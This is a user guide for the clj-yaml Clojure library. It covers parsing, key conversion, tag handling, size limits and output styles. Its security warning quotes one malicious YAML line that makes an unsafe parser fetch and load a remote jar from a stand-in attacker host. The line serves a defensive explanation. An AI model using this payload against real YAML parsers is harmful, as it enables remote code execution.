You want to learn more about how to use the clj-yaml library from your app, library or script.
Clj-yaml is a Clojure wrapper over SnakeYAML.
-
Feb 2010 - lancepantz/clj-yaml is created
-
Dec 2013 - circleci/clj-yaml picks up the torch
-
Jan 2019 - clj-commons adopts clj-yaml where it can get the ongoing love and care that it needs
To get the latest changes that are not yet released to Clojars, you can use this library as a git dependency:
$ cat deps.edn
{:deps {clj-commons/clj-yaml {:git/url "https://github.com/clj-commons/clj-yaml"
:git/sha "05eaca35c34c092ffdd2e620ef07962ce147a88b"}}}
$ clj -X:deps prep
$ clj -M -e "(require '[clj-yaml.core :as yaml])"
Replace the :git/sha
value as appropriate.
When the clj-commons/clj-yaml team adopted clj-yaml it made some assumptions about the clj-yaml public API. It turns out folks are using more of clj-yaml than we originally expected.
We encourage you to stick to the higher level functions as documented in the clj-yaml.core
namespace.
If you do find yourself needing to use the lower level functions, please let us know. Perhaps you are doing so to overcome a limitation in clj-yaml that we could address to everyone’s benefit.
Note that:
-
babashka only exposes the higher level functions.
-
this user guide only describes and promotes usage of higher level functions
(require '[clj-yaml.core :as yaml])
(yaml/generate-string
[{:name "John Smith", :age 33}
{:name "Mary Smith", :age 27}])
;; => "- {name: John Smith, age: 33}\n- {name: Mary Smith, age: 27}\n"
(yaml/parse-string "
- {name: John Smith, age: 33}
- name: Mary Smith
age: 27
")
;; => ({:name "John Smith", :age 33}
;; {:name "Mary Smith", :age 27})
By default, YAML keys are converted to Clojure keywords. To prevent this, include the :keywords false
option when calling parse-string
or parse-stream
functions:
(yaml/parse-string "
- {name: John Smith}
" :keywords false)
;; => ({"name" "John Smith"})
The :keywords
option defaults to true
for historical reasons.
When clj-yaml detects a key that cannot be converted to a Clojure keyword, it will leave it unconverted.
Detection and conversion is not sophisticated and can result in keywords that are illegal and unreadable.
For this reason we added the :key-fn
option.
This allows you to take control and do whatever conversion makes sense for your YAML key inputs.
You can use :key-fn
to do something similar to :keywords true
:
(yaml/parse-string "
- {name: John Smith}
" :key-fn #(-> % :key keyword))
;; => ({:name "John Smith"})
Or, something entirely different:
(require '[clojure.string :as string])
(yaml/parse-string "
- {name: John Smith}
" :key-fn #(-> % :key string/upper-case string/reverse))
;; => ({"EMAN" "John Smith"})
Unknown tags can be handled by passing a handler function via the :unknown-tag-fn
option.
The handler function is provided a map which includes :tag
and :value
keys.
Note that the value passed to the unknown-tag-fn
is a string if it’s a scalar, regardless of the quoting (or lack thereof) of the scalar value.
;; drop unknown tags
(yaml/parse-string "!Base12 10" :unknown-tag-fn :value
;; => "10"
;; or do some smart convertion
(yaml/parse-string "!Base12 10"
:unknown-tag-fn (fn [{:keys [tag value]}]
(if (= "!Base12" tag)
(Integer/parseInt value 12)
value)))
;; => 12
Clj-yaml optionally supports the creation of Java classes. This is considered unsafe.
Important
|
Be very wary of specifying :unsafe true unless you completely trust your YAML inputs.
Consider instead using :unknown-tag-fn for fine and deliberate control.
|
An example of some malicious YAML is well described by J0VSEC. Here’s the dangerous snippet described:
some_var: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://attacker-server.tld/poc.jar"]]]]
Also security related are the :allow-recursive-keys
, :max-aliases-for-collections
, and :nesting-depth-limit
options.
You can ask clj-yaml to return parsed YAML with extra positional data markers via the :mark true
option.
(yaml/parse-string "
- name: Mary Smith
age: 27
" :mark true)
;; => {:start {:line 1, :index 1, :column 0},
;; :end {:line 3, :index 30, :column 0},
;; :unmark
;; ({:start {:line 1, :index 3, :column 2},
;; :end {:line 3, :index 30, :column 0},
;; :unmark
;; {{:start {:line 1, :index 3, :column 2},
;; :end {:line 1, :index 7, :column 6},
;; :unmark "name"}
;; {:start {:line 1, :index 9, :column 8},
;; :end {:line 1, :index 19, :column 18},
;; :unmark "Mary Smith"},
;; {:start {:line 2, :index 22, :column 2},
;; :end {:line 2, :index 25, :column 5},
;; :unmark "age"}
;; {:start {:line 2, :index 27, :column 7},
;; :end {:line 2, :index 29, :column 9},
;; :unmark 27}}})}
In reality, the :start
:end
and :unmark
maps are internally a record and can be recognized via marked?
and unwrapped via unmark
.
SnakeYAML implementation (that clj-yaml uses for low-level encoding and decoding) imposes the default limit of 3 megabyte document size for security reasons (issue). If you hit this limitation, you need to explicitly increase the limit by setting the :code-point-limit
option:
(parse-string bigger-than-default-limit)
;; Execution error (YAMLException) at org.yaml.snakeyaml.scanner.ScannerImpl/fetchMoreTokens (ScannerImpl.java:342).
;; The incoming YAML document exceeds the limit: 3145728 code points.
(parse-string bigger-than-default-limit :code-point-limit (* 10 1024 1024))
;; outputs the long string
Different flow styles (:auto
, :block
, :flow
) allow customization of how YAML is rendered.
To demonstrate let’s setup some-data
to play with.
(def some-yaml "
todo:
- name: Fix issue
responsible:
name: Rita
")
(def some-data (yaml/parse-string some-yaml))
To select the :block
flow style:
(yaml/generate-string some-data :dumper-options {:flow-style :block})
results in a string of YAML, that when printed:
todo:
- name: Fix issue
responsible:
name: Rita
The same but with the :flow
style results in:
{todo: [{name: Fix issue, responsible: {name: Rita}}]}
And finally the :auto
style (the default) renders:
todo:
- name: Fix issue
responsible: {name: Rita}
Use the :indent
and :indicator-indent
options to adjust indentation:
(yaml/generate-string some-data :dumper-options {:indent 6
:indicator-indent 3
:flow-style :block})
results in:
todo:
- name: Fix issue
responsible:
name: Rita
:indent
must always be larger than :indicator-indent
.
If it is only 1 higher, the indicator will be on a separate line:
(yaml/generate-string some-data :dumper-options {:indent 2
:indicator-indent 1
:flow-style :block})
results in:
todo:
-
name: Fix issue
responsible:
name: Rita
You’ll notice that clj-yaml functions use keyword args for options.
Clojure 1.11 allows these types of functions to instead be called with a map for the options:
;; old school
(yaml/parse-string "ok: 42" :keywords false)
;; => {"ok" 42}
;; clojure 1.11 also allows:
(yaml/parse-string "ok: 42" {:keywords false})
;; => {"ok" 42}
Tip
|
If you are using a version of Clojure before v1.11, or you want to stay compatible with older versions of Clojure, you’ll need to call these functions the old school way. |